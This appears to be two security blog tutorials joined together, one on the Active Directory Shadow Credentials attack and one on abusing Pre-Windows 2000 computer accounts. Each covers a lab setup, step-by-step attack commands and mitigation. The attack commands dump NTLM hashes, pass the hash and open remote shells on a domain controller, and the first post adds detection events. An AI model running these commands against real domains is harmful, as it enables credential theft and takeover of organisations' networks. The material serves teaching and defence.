Shadow Credentials Attack

In this post, we explore the exploitation technique known as the Shadow Credentials attack. This attack leverages the mismanagement or exploitation of Active Directory Certificate Services (AD CS) to inject custom certificates into a user account, granting attackers persistent access. By modifying the msDS-KeyCredentialLink attribute, adversaries can effectively create "shadow credentials" that allow them to authenticate as the target user without needing their password or NTLM hash.

The post outlines lab setup, exploitation methods, and mitigation techniques, mapped to the MITRE ATT&CK framework for clarity. Detection mechanisms and actionable recommendations are also provided to help security professionals identify and defend against this prevalent threat.

Table of Contents

·       Shadow Credentials

·       Prerequisites

·       Lab Setup

·       Exploitation

 

Method for Exploitation – AS-REP Roasting Attack (T1558.004)

·       PyWhisker

·       PKINITtools

·       Metasploit

·       ldap_shell tool

 

Post Explotation

 

Detection & Mitigation

 

Introduction to Kerberos Authentication

Kerberos is a trusted authentication protocol used in Active Directory to securely verify the identity of users and services. It uses tickets to reduce the need for transmitting passwords over the network.

Symmetric Encryption in Kerberos

In traditional Kerberos authentication, symmetric encryption is used. Here's how it works:

1. AS-REQ (Authentication Service Request): The client sends a request to the Key Distribution Center (KDC), including a timestamp encrypted with a key derived from the user’s password.
2. AS-REP (Authentication Service Response): The KDC validates the timestamp using the user’s stored hash and returns a Ticket Granting Ticket (TGT) encrypted with the KDC’s secret key.
3. TGS-REQ and TGS-REP: The client uses the TGT to request access to a service, and the KDC issues a service ticket.

While symmetric encryption is effective, it relies on shared secrets (passwords) and is not suitable for scenarios requiring public key infrastructure (PKI), such as smart card authentication.

 

Asymmetric Encryption with PKINIT

PKINIT (Public Key Cryptography for Initial Authentication): PKINIT (Public Key Cryptography for Initial Authentication) is an extension of Kerberos that uses asymmetric encryption. Instead of relying on passwords, it uses public-private key pairs for authentication.

PKINIT Certificate Authentication: Uses a traditional X.509 certificate and private key pair to authenticate a Kerberos client. The KDC directly validates the certificate.

PKINIT Key Trust: Relies on a public key stored in the msDS-KeyCredentialLink attribute of an AD object. The KDC authenticates the client by verifying that the public key used in the authentication request matches the one stored in the AD object, without needing a traditional certificate.

Here’s how it works:

1. AS-REQ with PKINIT: The client sends a request to the KDC, including a timestamp signed with the client’s private key and the corresponding public key.
2. Public Key Validation: The KDC checks the client’s public key against the msDS-KeyCredentialLink attribute in Active Directory. Means, instead of directly using the certificate for authentication, the KDC is validating if any of the public keys in the msDS-KeyCredentialLinkattribute of the user matches the one used in the AS-REQ. If the key is valid, the KDC decrypts the timestamp and verifies the signature.
3. AS-REP: If validation is successful, the KDC issues a TGT to the client.

 

The msDS-KeyCredentialLink Attribute

In simple terms, PKINIT introduces the msDS-KeyCredentialLink attribute in Windows Server 2016 to store public keys for authentication. This attribute is crucial for certificate-based authentication, and here are its key details:

1. The msDS-KeyCredentialLink is a multi-value attribute, meaning multiple public keys can be stored for a single account, often representing different devices linked to that account.

2. Each value in this attribute contains serialized objects called Key Credentials. These objects include:

·       Creation date

·       Distinguished name of the owner

·       A GUID representing a Device ID

·       The public key itself

 

3. During PKINIT authentication, the client’s public key is verified against the values stored in this attribute. If a match is found, the KDC proceeds with authentication.

4. Managing and modifying the msDS-KeyCredentialLink attribute is an action that requires specific permissions, typically held by accounts that are members of highly privileged groups.

These groups include:

Key Admins: members of this group can perform administrative actions on key objects within the domain. The Key Admins group applies to the Windows Server operating system in Default Active Directory security groups.

Enterprise Key Admins: members of this group can perform administrative actions on key objects within the forest.

Domain Admins: members of this group have almost all the privileges within a domain, including the ability to modify attributes.

5. It is important to note that user objects can’t edit their own msDS-KeyCredentialLink attribute, while computer objects can.  On the other hand, computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists.

How Shadow Credentials Work

The Shadow Credentials attack takes advantage of improper permissions on the msDS-KeyCredentialLink attribute, allowing attackers to inject their own public key into the attribute of a target user or computer account. Once this is done, they can impersonate the target account using PKINIT.

Here is how the attack works step by step:

Step 1: Identify Target Permissions

The attacker identifies an Active Directory object (such as a user or computer account) where they have permissions to modify attributes. Permissions like GenericWrite or GenericAll are required to modify the msDS-KeyCredentialLink attribute.

Step 2: Inject the Attacker’s Public Key

The attacker adds their own public key to the msDS-KeyCredentialLink attribute of the target account. This process essentially “registers” the attacker’s key as a valid authentication method for the target.

Step 3: Generate a Certificate

The attacker creates a certificate in PFX format using the private key associated with the injected public key. This certificate is now tied to the target account.

Step 4: Authenticate as the Target Account

With the generated certificate, the attacker authenticates to the domain using PKINIT. The KDC validates the attacker’s public key against the msDS-KeyCredentialLink attribute and issues a Ticket Granting Ticket (TGT) for the target account.

Step 5: Impersonate Users or Escalate Privileges

Using the TGT, the attacker can:

• Perform lateral movement within the network.
• Use the S4U2self protocol to impersonate other users.
• Extract NTLM hashes from the Privilege Attribute Certificate (PAC).

 

Prerequisites

·       Windows Server 2019 as Active Directory that supports PKINIT

·       Domain must have Active Directory Certificate Services and Certificate Authority configured.

·       Kali Linux

·       Tools: PyWhishker, Impacket, certipy-ad, BloodyAD, Metasploit, ldap_shell

·       Windows 10/11 – As Client

 

Lab Setup

In this lab setup, we will create a user named 'Krishna' and elevate its privileges by adding it to the Key Admins and Enterprise Key Admins groups. This setup will showcase how attackers can exploit the msDS-KeyCredentialLink attribute to perform a Shadow Credentials attack, demonstrating privilege escalation and unauthorized persistent access.

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

·       Install Windows Server (2016 or 2019 recommended) that supports PKINIT.

·       Promote it to a Domain Controller by adding the Active Directory Domain Services role.

·       Set up the domain (e.g., ignite.local).

·       The domain must have Active Directory Certificate Services and a Certificate Authority configured.

 

User Accounts:

·       Create an AD user account named Krishna.

net user krishna Password@1 /add /domain

Add 'Krishna' User to Privileged Groups:

Once your AD environment is set up, you need to add Krishna user to the Key Admins and Enterprise Key Admins security groups.

Steps:

·       Open Active Directory Users and Computers (ADUC) on the Domain Controller.

·       Enable the Advanced Features view by clicking on View > Advanced Features.

·       Locate User Krishna in the Users container.

·       Right-click on Krishna User and go to Properties.

·       Go to the Member Of tab and click on Add button

·       In the “Enter the object name to select” box, type Key Admins and Enterprise Key Admins and click Check Names and click on OK

·       Apply the settings.

 

Exploitation

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Krishna have the ability to write to the "msds-KeyCredentialLink" property on DC.IGNITE.LOCAL

bloodhound-python -u krishna -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

From the graphical representation of Bloodhound, the tester would like to identify the Reachable high value targets for selected user.

Thus, it has shown the Krishna User have the ability to write to the "msds-KeyCredentialLink" property on DC.IGNITE.LOCAL. Writing to this property allows an attacker to create "Shadow Credentials" on the object and authenticate as the principal using Kerberos PKINIT.

 

Method for Exploitation

Attackers can exploit the msDS-KeyCredentialLink attribute by injecting rogue public keys into a target user's account.

PyWhisker

From UNIX-like systems, the msDs-KeyCredentialLink attribute of a user or computer target can be manipulated with the pyWhisker tool.

Clone the repository and install:

install pywhisker

git clone https://github.com/ShutdownRepo/pywhisker.git

python3 setup.py install

List all the current KeyCredential IDs and their creation times associated with the DC$ object.

pywhisker -d ignite.local -u "krishna" -p "Password@1" --target "DC$" --action "list"

At this point of time, it shows that attribute msDs-KeyCredentialLink is empty.

The exploitation phase begins with populating the msDS-KeyCredentialLink attribute. 

PyWhishker add functionality, will generates a public-private key pair and adds a new key credential to the target object DC$.

The output will specify the PFX file (and associated password) where the certificate is stored. This will be required in the next step to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account using PKINIT.

pywhisker -d "ignite.local" -u "krishna" -p "Password@1" --target "DC$" --action "add" --filename DC$

After adding the new key, rerun the list command to confirm the key has been successfully added. This time, the output will show the newly created KeyCredential ID, along with its creation time, including the Device ID of the new key.

pywhisker -d ignite.local -u "krishna" -p "Password@1" --target "DC$" --action "list"

PyWhishker info command can be used to retrieve detailed information about the newly added KeyCredential linked to the DC$ object, identified by the Device ID.

pywhisker -d "ignite.local" -u "krishna" -p "Password@1" --target "DC$" --action "info" --device-id e9c84cef-af24-9755-8ce3-67088fd3d280   

 

Utilize PKINITOOLS  to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account

Request a TGT using the PFX file that we generated using whisker’s add functionality. This uses Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption key which you may need for the getnthash.py tool.

python gettgtpkinit.py -cert-pfx "/root/DC$.pfx" -pfx-pass eK2PeOlwG60EkPS2TNxX ignite.local/dc$ dc$.ccache

Set the KRB5CCNAME environment variable to point to the previously generated dc$.ccache file

export KRB5CCNAME=/root/PKINITtools/dc\$.ccache

Utilize getnthash.py to retrieve the machine account's NTLM hash

The getnthash.py tool utilizes Kerberos U2U (User-to-User) to submit a TGS (Ticket Granting Service) request for the attacker, which includes the PAC (Privilege Attribute Certificate). The PAC contains the NT hash for the targeted account, and the tool decrypts it using the AS-REP key that was used to obtain the TGT (Ticket Granting Ticket). This allows the attacker to extract the NTLM hash for further exploitation, such as Pass-the-Hash attacks.

python getnthash.py -key 86b989daa8099f4f9f04f14be14b33556f043c56b48b4d3c36ef030a65c9b3a0 ignite.local/dc$

Certipy-ad

As an alternative, Certipy can automate these steps in a single command, streamlining the exploitation process.

Certipy's shadow command has an auto action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.

certipy-ad shadow auto -u krishna@ignite.local -p Password@1 -account dc$

 

NTLMRelayx

 Alternatively, to set shadow credentials on the computer object, ntlmrelayx can be used.

We will launch ntlmrelayx with the “–shadow-credentials” option and the “–shadow-target” parameter set to the name of the computer account that we are expecting to relay (in this case, DC$)

impacket-ntlmrelayx -t ldap://192.168.1.58 --shadow-credentials --shadow-target 'dc$'

Trigger a callback via browser, using krishna user’s credentials.

After a brief wait, we receive an HTTP connection from the DC$ computer account along with its NTLM credentials. These credentials are then relayed to the LDAP service on the domain controller and the msDS-KeyCredentialLink attribute of the relayed computer account is updated.

Utilize PKINITOOLS  to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account

python3 PKINITtools/gettgtpkinit.py -cert-pfx vX3iEoe3.pfx -pfx-pass 5SwBdP4py1IG9kDhh2nk ignite.local/dc$ shadow.ccache

Set the KRB5CCNAME environment variable to point to the previously generated shadow.ccache file

export KRB5CCNAME=shadow.ccache

Utilize getnthash.py to retrieve the machine account's NTLM hash

python PKINITtools/getnthash.py -key 44ca95c94d0cb47212d3ee5ff27b9cf8a48a5cd113f0120a3178112e4af16f48 ignite.local/dc$

 

BloodyAD

Alternatively, BloodyAD tool can be used to add Shadow Credentials to the msDS-KeyCredentialLink attribute of the target object (DC$) in the domain ignite.local

bloodyAD --host 192.168.1.58 -u krishna -p Password@1 -d ignite.local add shadowCredentials DC$

The above command generated certificate fille along with private key in pem file format

Utilize PKINITOOLS  to obtain a Kerberos TGT (ticket-granting-ticket) for the machine account

python3 PKINITtools/gettgtpkinit.py -cert-pem CVU5WmSJ_cert.pem -key-pem CVU5WmSJ_priv.pem ignite.local/DC$ raj.ccache

Set the KRB5CCNAME environment variable to point to the previously generated raj.ccache file

export KRB5CCNAME=raj.ccache

Utilize getnthash.py to retrieve the machine account's NTLM hash

python getnthash.py -key 56b304876557c0cc53482e6aaadf510058c4baf2d4be93b85b39fae511f9d2d3 ignite.local/dc$

 

Metasploit

This module can read and write the necessary LDAP attributes to configure a particular account with a Key Credential Link. This allows weaponizing write access to a user account by adding a certificate that can subsequently be used to authenticate. In order for this to succeed, the authenticated user must have write access to the target object (the object specified in TARGET_USER).

use auxiliary/admin/ldap/shadow_credentials

set rhosts 192.168.1.58

set username krishna

set password Password@1

set domain ignite.local

set target_user dc$

set rport 636

set ssl true

set action add

run

 

Certificate file is stored in the /.msf4/loot folder. Since the file name is too long we can rename it for our convenience.

 

The auxiliary/admin/kerberos/get_ticket module can be used to request TGT/TGS tickets from the KDC.

use auxiliary/admin/kerberos/get_ticket

set rhosts 192.168.1.58

set action GET_HASH

set domain ignite.local

set username dc$

set cert_file /root/.msf4/loot/dc.pfx

run

 

 

Ldap_shell

Alternatively, it can be achieved using ldap_shell

Ldap_shell ignite.local/krishna:Password@1 -dc-ip 192.168.1.58

 

Post-Exploitation

Using DC machine hash, dump the administrator NTLM hashes from the domain controller. And then perform lateral movement using psexec or evil-winrm.

Impacket -psexec

Using Impacket’s secretdump script to extract password hashes.

impacket-secretsdump -hashes :9df8e4935c53f1a8a007dad9a96232e3 'ignite/dc$@ignite.local' -just-dc-user administrator

 

Use Impacket’s psexec module to gain access using pass-the-hash technique

impacket-psexec -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.58

 

Evil-winrm

Alternatively, this can be achieved using evil-winrm

Using Impacket’s secretdump script to extract password hashes.

impacket-secretsdump -hashes :9df8e4935c53f1a8a007dad9a96232e3 'ignite/dc$@ignite.local' -just-dc-user administrator

Use evil-winrm tool to gain access using pass-the-hash technique

evil-winrm -i 192.168.1.58 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

 

 

Detection & Mitigation

Detection

Detection via Kerberos Authentication Ticket (TGT) Request

·       Event: 4768 – Kerberos Authentication Ticket (TGT) was requested

·       Anomaly: If PKINIT authentication (Public Key Cryptography for Initial Authentication in Kerberos) is uncommon in the environment or not typically used for the target account, it may indicate suspicious behavior.

·       Key Indicator: Look for events where Certificate Information attributes are not blank in the TGT request. This may suggest the use of certificates for authentication, potentially pointing to shadow credential abuse or malicious activity.

·       Action: Investigate instances where a TGT is requested with certificate-based authentication in environments where this is unusual. Scrutinize the certificate attributes in the event to detect abnormal authentication patterns.

 

Detection via Active Directory Object Modification

·       Event: 5136 – Directory Service Object Was Modified

·       Anomaly: If a System Access Control List (SACL) is configured to audit Active Directory object modifications for the targeted account, this event will be triggered when an object is modified (such as a user or device account).

·       Key Indicator: Look for modifications to the msDS-KeyCredentialLink attribute, which links keys to user or service accounts. If the modification is performed by an account other than the legitimate Azure AD Connect synchronization account or the ADFS service account, this could signal suspicious activity.

·       Action: Investigate changes to the msDS-KeyCredentialLink attribute. Unauthorized modifications may indicate shadow credentials being tampered with, especially if the modifying account is not typically associated with key provisioning, such as the Azure AD Connect or ADFS service accounts.

By monitoring these key events, you can effectively detect shadow credential attacks and respond to potential security breaches in your environment.

 

Mitigation

Regular Audits and Compliance Checks: Regularly audit AD accounts and their attributes to detect shadow credentials early. Compliance checks should make sure that all key credentials are valid and necessary. It's also important to know how normal key credentials are stored, especially for third-party systems. This will help in identifying suspicious keys.

Implementing Strong Access Controls: Make sure only authorized personnel can modify important attributes like msDS-KeyCredentialLink by enforcing strict access controls. Use Role-Based Access Control (RBAC) to limit who has these privileges. Securing these accounts is crucial because attackers could use them without raising suspicion.

Multi-Factor Authentication (MFA): Implement MFA whenever possible to add an extra layer of security. This helps reduce the reliance on just one authentication method, making it harder for rogue key credentials to be used.

Periodic Key Rotation: Regularly rotate keys and credentials to limit how long any unauthorized shadow credentials can be used. This helps minimize the impact of any credentials that may have been added without permission.

.

 

 

Abusing AD Weak Permission Pre2K Compatibility

Pre2K (short for "Pre-Windows 2000") Active Directory misconfigurations often stem from overlooked legacy settings in Windows environments. Common issues include enabling NTLM or SMBv1 for backward compatibility, leaving Pre-Windows 2000 accounts active, and neglecting proper account cleanup.

 

In this article, we shall exploit one such default misconfiguration that sets Computer Accounts’ password to be the same as hostname in lowercase, thereby allowing an attacker to compromise domain controller.

 

Table of Contents

 

·       Prevalence of Pre2K AD Misconfigurations

·       Prerequisites

·       Lab Setup

Enumeration

Method #1: Using the tool:- pre2k

Method #2: Using the tool:- nxc

·       Exploitation

·       Mitigation

 

 

Prevalence of Pre2K AD Misconfigurations

While many organizations have moved to newer technologies, Pre2K (short for "Pre-Windows

2000") misconfigurations still persist in a significant number of environments, especially where legacy applications or systems require continued support. A few prominent surveys across the industry confirm

 

·       40-60% of organizations are still using legacy systems that require Pre2K compatibility.

·       Around 30-40% of Active Directory environments have lingering unused Pre2K accounts that remain improperly configured.

·       57% of businesses rely on outdated or unsupported operating systems with legacy configurations, which often involve Pre2K AD misconfigurations.

·       Approximately 30% of data breaches stem from mismanaged Active Directory settings, including legacy configurations like Pre2K.

 

Key Notes:

·       UAC 4128 indicates legacy settings where accounts may be enabled for authentication without the usual security checks (e.g., passwords).

·       LogonCount of 0 suggests that the account might not be used for typical logons but could still be exploited for other purposes.

·       Post-password change authentication: When a user changes their password, the system normally requires the new password for authentication.

 

Prerequisites:

 

·       Windows Server 2019 as Active Directory Domain Controller

·       Tools: pre2k, nxc, impacket, evil-winrm

·       Kali Linux

 

 

Lab Setup:

 

In this lab set up, we will create a Computer Account and provide backward compatibility to interact with legacy systems or services that are particularly prior to Windows 2000.

 

Create the AD Environment:

 

To simulate an Active Directory environment, you will need a Windows Server 2019 as a Domain Controller (DC) and a client/attacker machine (Kali Linux) where you can run enumeration and exploitation tools.

 

Domain Controller:

·       install Windows Server (2016 or 2019 recommended).

·       Promote it to a Domain Controller by adding the “Active Directory Domain Services” role.

·       Set up the domain (e.g., “ignite.local”).

·       Create a domain user with username “raj” and password “Password@1”.

 

Create a Computer (Account) and assign Pre2K Compatibility:

 

Once the AD environment is setup, open “Active Directory Users and Computers (ADUC)” on the Domain Controller. Then, right-click on “Computers” and add a New Computer.

 

Provide the computer name as “demo”, “DEMO” for “pre-Windows 2000 Computer Name” and ensure to select the checkbox that enables this computer to support/act as a Pre2K computer.

 

Click on “OK” button and confirm that a computer with name “demo” is created within “ignite.local” domain.

 

 

Note: Ensure to have SMB & WINRM services enabled on the Domain Controller.

 

 

Enumeration:

 

pre2k

 

Use the commands below to download and install pre2k tool in Kali Linux.

 

git clone https://github.com/garrettfoster13/pre2k.git

cd pre2k

ls

pipx install .

Now, let’s enumerate valid Computer Accounts that act as pre-windows 2000 computers by performing password spraying attack using pre2k tool in an authenticated mode.

 

pre2k auth -u raj -p Password@1 -dc-ip 192.168.1.48 -d ignite.local

 

Based on the output from pre2k tool, we can confirm that “DEMO” computer account is enabled with default password.

 

nxc

 

Run the below NetExec (nxc) command from Kali Linux on the same network to enumerate Computer Accounts that are either created or configured to support pre-windows 2000 systems or services.

 

nxc ldap 192.168.1.48 -u raj –p Password@1 -M pre2k

“nxc” tool has successfully enumerated “DEMO” computer account that supports pre-windows 2000 computers.

 

Exploitation:

 

We have successfully enumerated a pre-Windows 2000 computer account “DEMO” and we are already aware that such accounts’ password could be the same as the Computer Name but with all characters in lower-case.

 

Let’s confirm if the default password “demo” for the computer account “DEMO” is still valid by running the below command.

 

nxc smb ignite.local -u DEMO$ -p demo

The error “STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT” indicates a computer is unable to log on to the domain because it does not have the necessary trust relationship set up with the Active Directory domain. This usually happens when the computer account is misconfigured (or) inactive (or) if the password is out of sync between the computer and the domain controller.

 

Therefore, we can change the password and reattempt to connect with the new password.

 

We shall change “DEMO” computer account’s password to “Password@987” using “impacket” tool and below command.

 

impacket-changepasswd ignite.local/DEMO\$@192.168.1.48 -newpass 'Password@987' -p rpc-samr

 

Now that password is successfully changed, let’s try to connect to the domain controller using “evil-winrm” tool and the below command to obtain remote access.

 

evil-winrm –i 192.168.1.48 -u DEMO$ -p Password@987

whoami

 

Mitigation:

 

·       Disable outdated protocols (e.g., SMBv1, NTLM) and enforce Kerberos where possible.

·       Ensure all systems are patched and updated to remediate all known vulnerabilities and to remove reliance on older authentication protocols.

·       Regularly audit Active Directory for obsolete accounts and outdated settings to minimize the attack surface.

·       Migrate legacy applications to newer and secure platforms.